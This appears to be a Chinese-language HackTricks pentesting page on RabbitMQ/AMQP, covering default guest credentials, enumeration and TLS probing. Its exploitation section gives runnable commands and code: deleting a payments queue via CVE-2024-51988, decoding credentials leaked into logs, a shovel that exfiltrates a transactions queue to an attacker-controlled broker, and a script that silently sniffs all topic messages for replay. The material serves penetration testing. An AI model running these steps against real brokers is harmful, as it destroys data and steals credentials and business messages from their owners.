5671,5672 - Pentesting AMQP
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
From cloudamqp:
RabbitMQ 是一种 消息队列软件,也称为 消息代理 或 队列管理器. 简单来说;它是用于定义队列的软件,应用程序连接到这些队列以传输一条或多条消息。
一条 消息可以包含任何类型的信息。例如,它可能包含关于某个进程或任务的信息,该进程或任务应在另一个应用程序上启动(甚至可能在另一台服务器上),或者它可能只是一个简单的文本消息。队列管理软件会存储消息,直到接收应用连接并从队列中取出消息。然后接收应用处理该消息。
定义来源。
默认端口: 5672,5671
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
- 默认凭证:
guest:guest。RabbitMQ 通过loopback_users将其限制为 localhost,但许多 Docker/IoT 镜像禁用该检查,因此在假定被阻止之前,请务必测试远程登录。 - 认证机制: PLAIN 和 AMQPLAIN 默认启用,ANONYMOUS 映射到
anonymous_login_user/anonymous_login_pass,当启用 TLS 时可能会暴露 EXTERNAL (x509)。枚举 broker 所宣告的内容,以确定后续是否尝试 password spraying 或 certificate impersonation。
枚举
手动
import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)
一旦认证成功,dump conn.server_properties, conn.channel_max 和 conn.frame_max,以了解吞吐限制以及是否可以通过超大帧耗尽资源。
自动
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
| amqp-info:
| capabilities:
| publisher_confirms: YES
| exchange_exchange_bindings: YES
| basic.nack: YES
| consumer_cancel_notify: YES
| copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
| information: Licensed under the MPL. See http://www.rabbitmq.com/
| platform: Erlang/OTP
| product: RabbitMQ
| version: 3.1.5
| mechanisms: PLAIN AMQPLAIN
|_ locales: en_US
TLS/SASL 检查
- Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null
这会 leak 证书链、支持的 TLS 版本以及是否需要 mutual TLS。
- List listeners without creds:
rabbitmq-diagnostics -q listeners
当你获得对主机的 low-priv shell 访问时很有用。
- Spot ANONYMOUS logins: 如果 broker 允许 ANONYMOUS SASL 机制,尝试使用空用户名/密码连接;RabbitMQ 会在内部将你映射为
anonymous_login_user(默认是guest)。
Brute Force
Exploitation Tips
Queue deletion without configure perms (CVE-2024-51988)
RabbitMQ ≤ 3.12.10(以及未打补丁的 Tanzu 构建)在通过 HTTP API 删除队列时未检查 configure 权限。任何具有目标 vhost 访问权限的已认证用户,即使他们只有 read 或 write 权限,也可以 nuke 任意队列。
# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing
将此与 rabbitmqadmin list permissions 结合使用,以查找你的 low-priv user 在其中具有部分访问权限的 vhosts,然后清空队列以诱发 denial of service 或触发在 AMQP 端观察到的补偿控制。查看 15672 pentesting 以获取可与此漏洞链式使用的更多 HTTP API endpoints。
Harvest credentials from RabbitMQ logs (CVE-2025-50200)
在 4.0.8/4.1.0 之前,对不存在的资源使用 HTTP basic auth 请求 management API 会导致 broker 将整个 Authorization 头(base64)记录到日志中。如果你获得了有限的文件系统访问权限(例如 Docker escape、plugin RCE),在 /var/log/rabbitmq/rabbit@*.log 中搜索 Authorization:,并恢复其他租户或服务账户的凭证。
curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d
故意通过伪造端点触发此操作,在日志中植入新的 secrets,然后通过在 AMQP、STOMP、MQTT 或 OS 本身上重用解码后的 creds 进行 pivot。
武器化 rabbitmqadmin-ng
rabbitmqadmin v2 (aka rabbitmqadmin-ng) 是一个自包含的 CLI,可以与 management API 通信,并且现在为 Linux/macOS/Windows 提供静态链接的构建。将它放到你的 bounce box 上并编写 script:
# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen
因为该工具支持 blue/green 感知的健康检查,你也可以滥用 rabbitmqadmin health_check port_listener --port 5672 来远程确认是否暴露了 TLS listeners,或让服务忙于 timing probes。
Message hijacking/sniffing
如果发现宽松的策略(.* bindings、topic exchanges,或 x-queue-master-locator = min-masters),你可以悄悄地窃取消息而不删除它们:
import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)
将路由键替换为 audit.# 或 payments.* 以关注敏感流,然后通过翻转 basic_publish 参数重新发布伪造消息——方便对下游微服务进行重放攻击。
其他 RabbitMQ 端口
在 https://www.rabbitmq.com/networking.html 中你可以看到 rabbitmq 使用多个端口:
- 1883, 8883:(MQTT clients 在未加密和加密 (TLS) 情况下使用,前提是启用了 MQTT plugin。 Learn more about how to pentest MQTT here.
- 4369: epmd:用于 RabbitMQ 节点和 CLI 工具的对等发现服务。 Learn more about how to pentest this service here.
- 5672, 5671:被 AMQP 0-9-1 和 1.0 客户端使用,分别对应未加密和加密 (TLS) 连接
- 15672: HTTP API 客户端、management UI 和 rabbitmqadmin(仅当启用 management plugin 时)。 Learn more about how to pentest this service here.
- 15674:STOMP-over-WebSockets 客户端(仅当启用 Web STOMP plugin 时)
- 15675:MQTT-over-WebSockets 客户端(仅当启用 Web MQTT plugin 时)
- 15692:Prometheus 指标(仅当启用 Prometheus plugin 时)
- 25672:用于节点间和 CLI 工具通信(Erlang distribution server 端口),并从动态范围中分配(默认限为单个端口,计算方式为 AMQP 端口 + 20000)。除非这些端口确实需要对外连接(例如集群使用 federation 或在子网外的机器上使用 CLI 工具),否则这些端口不应公开暴露。有关详细信息,请参见 networking guide。只有 9 个此类端口在互联网上开放。
- 35672-35682:由 CLI 工具用于与节点通信的 Erlang distribution 客户端端口,从动态范围分配(计算为 server distribution port + 10000 到 server distribution port + 10010)。有关详细信息,请参见 networking guide。
- 61613, 61614: STOMP clients 在未加密和加密 (TLS) 情况下使用(仅当启用 STOMP plugin 时)。少于 10 台设备开放此端口,且大多为 DHT 节点使用的 UDP。
另见
Shodan
AMQP
参考资料
- CloudAMQP – RabbitMQ for beginners
- RabbitMQ Networking Guide
- RabbitMQ Authentication, Authorisation & Access Control
- CVE-2024-51988 – RabbitMQ HTTP API queue deletion bug
- GHSA-gh3x-4x42-fvq8 – RabbitMQ logs Authorization header
- rabbitmqadmin v2 (rabbitmqadmin-ng)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

